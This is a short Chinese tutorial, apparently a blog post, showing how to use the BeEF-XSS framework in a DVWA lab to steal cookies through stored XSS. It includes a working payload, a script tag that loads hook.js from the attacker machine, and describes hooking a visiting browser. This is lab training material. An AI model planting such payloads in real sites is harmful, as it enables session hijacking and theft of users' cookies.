前言
xss漏洞可以拿来做什么呢?只是弹窗吗？不，我们的目的是盗取用户cookie,配合工具还可查看文件管理
一、使用的工具
1.DVWA漏洞演示平台 win7:192.168.0.113
2.攻击工具：kali中自带的Beef-xss kali:192.168.0.111
二、使用步骤
1.登录dvwa界面，安全等级low
2.打开beef-xss工具
kali中自带此工具，打开终端输入beef-xss即可，首次使用需要修改默认的账号密码。
若后期忘记密码可以查看配置文件/etc/beef-xss/config.yaml。登录地址为：http://127.0.0.1:3000/ui/panel
3.写入xss代码
接着根据beef-xss的提示在存在存储型XSS漏洞处插入恶意代码：
<script src="http://192.168.0.111:3000/hook.js"></script>
为攻击IP地址，然后等鱼上钩即可。
使用另一台测试机访问被插入恶意代码的网页，在beef-xss中就可以看到鱼儿上钩。
成功上线
4.获取cookie
还可以查看网络结构
总结
本期主要介绍了beef-xss的简单用法